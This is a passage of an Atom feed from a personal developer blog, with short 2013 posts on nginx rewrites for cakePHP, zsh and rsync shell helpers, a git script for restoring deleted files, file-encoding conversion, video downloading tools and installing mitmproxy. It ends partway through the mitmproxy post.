&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  rewrite&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ^/(css|js)/packed_(.*)$&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; /&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$1&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;/packed/&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$2&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; break&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;location&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; ~&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; /files &lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  rewrite&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; ^/files/(.*)/(.*)/(.*)&#92;.(.*)$&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; /files/&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$1&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$2&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$4&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; break&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In the first rule I&#39;m looking for any &lt;code&gt;/css/packed_*&lt;/code&gt; or &lt;code&gt;/js/packed_*&lt;/code&gt; request,
and converting them to &lt;code&gt;/css/packed/*&lt;/code&gt; or &lt;code&gt;/js/packed/*&lt;/code&gt;. Note the use of
backreferences in the rewrite using &lt;code&gt;$x&lt;/code&gt; variables. In the second rule I
simplified the original regex from Apache to catch the &lt;code&gt;/2012/08/23/&lt;/code&gt; in &lt;code&gt;$1&lt;/code&gt;,
the UUID in &lt;code&gt;$2&lt;/code&gt;, the filename in &lt;code&gt;$3&lt;/code&gt; and the extension in &lt;code&gt;$4&lt;/code&gt; and rewriting
the request to the correct file on disk.&lt;/p&gt;
&lt;p&gt;Both rewrites ends with the &lt;code&gt;break&lt;/code&gt; flag. It tells Nginx that it should stop
looking for other &lt;code&gt;location ~&lt;/code&gt; blocks matching the requested url and just serve
the file. Another useful flag is &lt;code&gt;last&lt;/code&gt;, which tells Nginx to restart its whole
url matching process from the beginning but this time using the newly rewritten
url.&lt;/p&gt;
&lt;p&gt;There is one last &lt;code&gt;location&lt;/code&gt; block that we can use, and it&#39;s the simple
&lt;code&gt;location&lt;/code&gt;, without any prefix. These &lt;code&gt;location&lt;/code&gt; blocks will be checked last, if
no &lt;code&gt;location =&lt;/code&gt; or &lt;code&gt;location ~&lt;/code&gt; had stopped the processing. They are especially
good for a last &amp;quot;catch all&amp;quot; solution, and we are going to use them to dispatch
urls to &lt;code&gt;index.php&lt;/code&gt;&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-nginx&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;location&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; / &lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  try_files &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$uri&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; /index.php?url=&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$request_uri&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Using &lt;code&gt;location /&lt;/code&gt;, we&#39;ll catch any remaining requests. The &lt;code&gt;try_files&lt;/code&gt; command
will test every one of its arguments in order to see if they exist on disk and
serve them if they do. So in our example it will first check for the requested
uri, and if such a file exists, will serve it. Otherwise it will simply dispatch
it to the main &lt;code&gt;index.php&lt;/code&gt; with the requested url as an argument and cakePHP
will do the rest.&lt;/p&gt;
&lt;p&gt;There is one last thing we must do, it&#39;s telling Nginx to pass any &lt;code&gt;.php&lt;/code&gt; file
to the PHP fastcgi. This is quite easy using a &lt;code&gt;location ~&lt;/code&gt; block matching any
&lt;code&gt;.php&lt;/code&gt; file. This will even apply to files served through &lt;code&gt;try_files&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-nginx&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;location&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; ~&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#92;.php$ &lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  fastcgi_pass &lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  127.0.0.1:9000;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  fastcgi_index &lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; index.php;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  fastcgi_intercept_errors &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  include &lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;fastcgi.conf;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Wrapping your mind around the order in which Nginx applies your rewrites is not
easy at first. I hope this post helped you making sense of it.&lt;/p&gt;
&lt;p&gt;Note that there also is the &lt;code&gt;location ^~&lt;/code&gt; block but I found it to be of very
limited used as its behavior can be replicated with the more generic
&lt;code&gt;location ~&lt;/code&gt; blocks.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Télécharger ParisWeb 2012 sous forme de podcasts</title>
    <link href="https://blog.pixelastic.com/2013/09/09/telecharger-parisweb-2012-sous-forme-de-podcasts/"/>
    <updated>2013-09-09T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2013/09/09/telecharger-parisweb-2012-sous-forme-de-podcasts</id>
    <content type="html">&lt;p&gt;&lt;em&gt;Note for my English readers : In this post in French, I&#39;m talking about how to
download the audio version of the ParisWeb 2012 talks. As those talks are mostly
in French, it wouldn&#39;t make much sense for me to write about it in English.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;J&#39;ai raté ParisWeb 2012, mais comme je n&#39;ai pas envie de complétement rater tout
ce qui a pu s&#39;y être dit, j&#39;ai décidé de télécharger l&#39;ensemble des vidéos des
conférences, les convertir en audio et les écouter sous forme de podcast sur mon
lecteur mp3.&lt;/p&gt;
&lt;p&gt;Heureusement, les gens de ParisWeb ont déjà fait 90% du travail en proposant sur
le site officiel des liens vers l&#39;ensemble des conférences en vidéo sur
Dailymotion. Après, je n&#39;ai eu qu&#39;à scripter rapidement un crawler qui
télécharge et convertit tout cela automatiquement.&lt;/p&gt;
&lt;p&gt;Vous pouvez trouver le code sur
&lt;a href=&quot;https://gist.github.com/pixelastic/6494754&quot;&gt;ce gist&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;TODO: Actuellement je télécharge la totalité de la vidéo (pouvant atteindre
plusieurs Go) pour n&#39;en extraire qu&#39;un fichier audio de quelques dizaines de Mo.
De plus, l&#39;audio ne semble pas correctement reconnaitre le stéréo.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Commandline escaping magic</title>
    <link href="https://blog.pixelastic.com/2013/09/09/commandline-escaping-magic/"/>
    <updated>2013-09-09T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2013/09/09/commandline-escaping-magic</id>
    <content type="html">&lt;p&gt;Aren&#39;t your tired of having to wrap your url in quotes when using &lt;code&gt;wget&lt;/code&gt; so the
various &lt;code&gt;&amp;amp;&lt;/code&gt; and &lt;code&gt;?&lt;/code&gt; do not mess up your terminal?&lt;/p&gt;
&lt;p&gt;Well, I was, until I stumbled upon this god-send zsh magic: &lt;code&gt;url-quote- magic&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Just initiate it in your &lt;code&gt;.zshrc&lt;/code&gt; with the following lines:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;autoload&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -U&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; url-quote-magic&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;zle&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -N&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; self-insert&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; url-quote-magic&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And now, everytime you type or paste a url in &lt;code&gt;wget&lt;/code&gt; it will automatically
escape the needed characters. It is quite clever and works with other commands
that would otherwise trigger your terminal globbing feature.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Alternate cp and mv commands using rsync</title>
    <link href="https://blog.pixelastic.com/2013/09/09/alternate-cp-mv-commands-rsync/"/>
    <updated>2013-09-09T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2013/09/09/alternate-cp-mv-commands-rsync</id>
    <content type="html">&lt;p&gt;Sometime you need to copy or move files, but preserve their ownership, timestamp
or simply want to update the changing bits instead of blindly moving whole
chunks of data.&lt;/p&gt;
&lt;p&gt;I have two simple aliases to do just that. Meet &lt;code&gt;rcp&lt;/code&gt; and &lt;code&gt;rmv&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; rcp&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;() &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; rsync&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -rahP&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --modify-window=1&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$@&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; rmv&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;() &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; rsync&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -rahP&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --modify-window=1&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --prune-empty-dirs&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --remove-sent-files&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$@&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;compdef&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; _cp&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; rcp&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; rmv &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;They are defined as functions and not aliases so I can define which completion
functions zsh will use (that&#39;s the &lt;code&gt;compdef&lt;/code&gt; part). In that case, I want them to
use the same completion as for the basic &lt;code&gt;cp&lt;/code&gt; command.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Converting html files to pdf from the commandline</title>
    <link href="https://blog.pixelastic.com/2013/09/05/converting-html-files-pdf-commandline/"/>
    <updated>2013-09-05T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2013/09/05/converting-html-files-pdf-commandline</id>
    <content type="html">&lt;p&gt;When you need to convert an &lt;code&gt;html&lt;/code&gt; file to a &lt;code&gt;pdf&lt;/code&gt;, often the default &lt;code&gt;pdf&lt;/code&gt;
printer of your OS is enough. For those times when you need a much better
rendering, you need a better tool.&lt;/p&gt;
&lt;p&gt;I had to convert my &lt;code&gt;html&lt;/code&gt;/&lt;code&gt;css&lt;/code&gt; resume to a &lt;code&gt;pdf&lt;/code&gt; file today. The default &lt;code&gt;pdf&lt;/code&gt;
printer on Ubuntu was discarding the background color and adding useless
margins.&lt;/p&gt;
&lt;p&gt;I finally resorted to using
&lt;a href=&quot;http://code.google.com/p/wkhtmltopdf/&quot;&gt;wkhtmltopdf&lt;/a&gt;. It does the job, but needs
a few tweaks. First, you have to add &lt;code&gt;-T 0 -R 0 -B 0 -L 0&lt;/code&gt; to remove the
margins. Then, you have to use the &lt;code&gt;file://&lt;/code&gt; notation to target a local file.
Also, it does not understand the css properties &lt;code&gt;page-break-after&lt;/code&gt; nor
&lt;code&gt;page- break-before&lt;/code&gt;. I had to manually add padding in my elements to stop them
from being cut in between two pages. But worst of all, it chokes on UTF-8
characters in filenames.&lt;/p&gt;
&lt;p&gt;In the end, I wrote a small ruby wrapper around wkhtmltopdf to work around all
those issues for me and called it [html2pdf](https://github.com/pixelastic/oro
shi/blob/master/scripts/bin/html2pdf).&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Preventing the Meta key from opening the dash in Unity Ubuntu</title>
    <link href="https://blog.pixelastic.com/2013/09/02/preventing-meta-key-opening-dash-unity-ubuntu/"/>
    <updated>2013-09-02T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2013/09/02/preventing-meta-key-opening-dash-unity-ubuntu</id>
    <content type="html">&lt;p&gt;Everytime I install Ubuntu on a fresh computer and try to define custom
keybindings that use the meta (ie. Windows) key, I run into issues.&lt;/p&gt;
&lt;p&gt;The Ubuntu UI uses the meta key to open what they call the &amp;quot;Dash&amp;quot;. I never use
it and want my meta key back to define my own keybindings.&lt;/p&gt;
&lt;p&gt;There is no way to disable it from the default Ubuntu options. You have to
install &lt;code&gt;compizconfig-settings-manager&lt;/code&gt; and launch it using &lt;code&gt;ccsm&lt;/code&gt;. There, go to
the Ubuntu Unity Plugin and disable the &amp;quot;Key to show the launcher&amp;quot; binding.&lt;/p&gt;
&lt;p&gt;You will now be free to use the meta key in your keybindings, again.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>git resurrect to bring back deleted files from the dead</title>
    <link href="https://blog.pixelastic.com/2013/09/02/git-resurrect-bring-deleted-files-dead/"/>
    <updated>2013-09-02T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2013/09/02/git-resurrect-bring-deleted-files-dead</id>
    <content type="html">&lt;p&gt;Ever deleted a file several commits away and then suddenly realizing that you
actually need it? Well, here&#39;s an easy way to get your file back.&lt;/p&gt;
&lt;p&gt;First of all, we&#39;ll get the commit in which the file has been deleted with:
&lt;code&gt;git log --diff-filter=D --format=format:%H -- {your_filename}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;--diff-filter=D&lt;/code&gt; will only keep commits where files gets deleted,
&lt;code&gt;--format=format:%H&lt;/code&gt; will only display the commit hash and finally the &lt;code&gt;--&lt;/code&gt; is a
separator between your options and the argument. Argument should be your
filename, and it even accepts &lt;code&gt;*&lt;/code&gt; as a wildcard.&lt;/p&gt;
&lt;p&gt;Once you got the commit hash, it&#39;s just a matter of checking the file out using
&lt;code&gt;git checkout {hash}~1 {your_filename}&lt;/code&gt;. The &lt;code&gt;~1&lt;/code&gt; targets the previous commit,
right before the file gets deleted.&lt;/p&gt;
&lt;p&gt;All wrapped up in a nice shell script, here is what it looks like:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;#!/usr/bin/env bash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;filename&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# We first find the commit where the file was deleted&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;hash&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;$(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; log&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --diff-filter=D&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --format=format:%H&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; --&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $filename&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;# We then bring it back from the dead&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;git&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; checkout&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $hash&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;~1&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $filename&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I&#39;ve aliased mine to &lt;code&gt;git resurrect&lt;/code&gt;.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Renaming files to fit on a FAT32 drive</title>
    <link href="https://blog.pixelastic.com/2013/08/31/renaming-files-fit-fat32-drive/"/>
    <updated>2013-08-31T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2013/08/31/renaming-files-fit-fat32-drive</id>
    <content type="html">&lt;p&gt;When moving files from my hard-drive (formatted in ext3) to my mp3 music player
or to any drive formatted in FAT32, some files never get to the destination due
to illegal characters in their filename.&lt;/p&gt;
&lt;p&gt;Those includes characters like question marks, colons or quotes which can be
quite common in media filenames.&lt;/p&gt;
&lt;p&gt;So I wrote myself a [tiny command-line
script](https://github.com/pixelastic/oroshi/blob/master/scripts/bin/rename-
fat32) to make the filenames FTA32 compliant. Note that this is a destructive
operation as it will simply remove the illegal characters.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Converting files to UTF-8 from the command line</title>
    <link href="https://blog.pixelastic.com/2013/08/30/converting-files-utf-8-command-line/"/>
    <updated>2013-08-30T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2013/08/30/converting-files-utf-8-command-line</id>
    <content type="html">&lt;p&gt;Converting to and from charset encoding is boring. Life would be much easier if
everything was saved in proper UTF-8.&lt;/p&gt;
&lt;p&gt;I just coded a couple of scripts that will help be read file encoding from files
and convert them to UTF-8.&lt;/p&gt;
&lt;p&gt;First, not all encoding can be easily read. Some uses markers that are easy to
check, other requires heuristic and guessing. I won&#39;t deal with the second part.
Most of the files I&#39;m currently handling are either Latin1 (ISO-8859-1) or
Latin2 (ISO-8859-2), so I&#39;ll limit the scope of my scripts to those two sets.&lt;/p&gt;
&lt;p&gt;Fortunatly, the default &lt;code&gt;file&lt;/code&gt; command can do that.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; file&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -bi&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; file.txt&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;text/plain&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;charset&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;us-ascii&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; file&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -bi&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; bad.html&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;text/html&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;charset&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;iso-8859-1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; file&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -bi&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; good.html&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;text/html&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;charset&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;utf-8&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now that we have a way to know the input encoding, we can use &lt;code&gt;recode&lt;/code&gt; to
convert to UTF-8. You can install &lt;code&gt;recode&lt;/code&gt; easily with
&lt;code&gt;sudo apt-get install recode&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Once done, it is just a matter of &lt;code&gt;convert latin1..utf8 bad.html&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;I wrapped those methods in two scripts: [encoding](https://github.com/pixelas
tic/oroshi/blob/master/scripts/bin/encoding) and
&lt;a href=&quot;https://github.com/pixelastic/oroshi/blob/master/scripts/bin/utf8&quot;&gt;utf8&lt;/a&gt; that
respectively output the file encoding and convert the file to utf8.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Downloading from Youtube for offline watching</title>
    <link href="https://blog.pixelastic.com/2013/08/27/downloading-youtube-offline-watching/"/>
    <updated>2013-08-27T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2013/08/27/downloading-youtube-offline-watching</id>
    <content type="html">&lt;p&gt;Call me old fashioned but I do not really like the &amp;quot;always connected&amp;quot; motto that
the industry is following right now. I like to have physical music and video
files on my hard drive, so I can access them anywhere, anytime, without relying
on me being connected to a network.&lt;/p&gt;
&lt;p&gt;And yes, I get the irony of talking about &lt;em&gt;physical _files&lt;/em&gt;._&lt;/p&gt;
&lt;p&gt;Anyway, I now download movies directly from &lt;a href=&quot;http://youtube.com/&quot;&gt;Youtube&lt;/a&gt;,
&lt;a href=&quot;http://www.dailymotion.com/&quot;&gt;Dailymotion&lt;/a&gt;, &lt;a href=&quot;http://www.vimeo.com/&quot;&gt;Vimeo&lt;/a&gt; and
consorts, copy them to my smartphone, and watch them in the train, waiting
queues or bed.&lt;/p&gt;
&lt;p&gt;To achieve that, here are the command-line tools I&#39;m using. First is
&lt;a href=&quot;https://github.com/rg3/youtube-dl&quot;&gt;youtube- dl&lt;/a&gt;, and as its name does not imply
at all, it can download from more than Youtube. The second one is
&lt;a href=&quot;https://github.com/bf4/vimeo_downloader&quot;&gt;vimeo_downloader&lt;/a&gt; which is specialised
in downloading from Vimeo. And the last one is the more generic
&lt;a href=&quot;http://code.google.com/p/get-flash-videos/&quot;&gt;get_flash_videos&lt;/a&gt; that can download
from a variety of smaller websites.&lt;/p&gt;
&lt;p&gt;All those scripts accepts the video url as parameter.&lt;/p&gt;
&lt;p&gt;Happy scripting and happy viewing!&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Installing mitmproxy</title>
    <link href="https://blog.pixelastic.com/2013/08/26/installing-mitmproxy/"/>
    <updated>2013-08-26T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2013/08/26/installing-mitmproxy</id>
    <content type="html">&lt;p&gt;I spend the last hour trying to install &lt;a href=&quot;http://mitmproxy.org/&quot;&gt;mitmproxy&lt;/a&gt;. This
is supposed to be a commandline proxy to intercept, read, edit and replay
HTTP(S) requests. I say &amp;quot;supposed&amp;quot; because I haven&#39;t had the chance to try it so
far as I was blocked on a compilation error.&lt;/p&gt;
&lt;p&gt;According to
&lt;a href=&quot;http://mitmproxy.org/doc/install.html&quot;&gt;the official documentation&lt;/a&gt;, installing
mitmproxy should be as easy as &lt;code&gt;pip install mitmproxy&lt;/code&gt;. Being new to using
&lt;code&gt;pip&lt;/code&gt;, I first had to install it (&lt;code&gt;sudo apt-get install python-pip&lt;/code&gt;) and figure
out that one need to install stuff with &lt;code&gt;pip&lt;/code&gt; using &lt;code&gt;sudo&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;But &lt;code&gt;sudo pip install mitmproxy&lt;/code&gt; resulted in charming compilation errors in my
case. Something along the lines of:&lt;/p&gt;
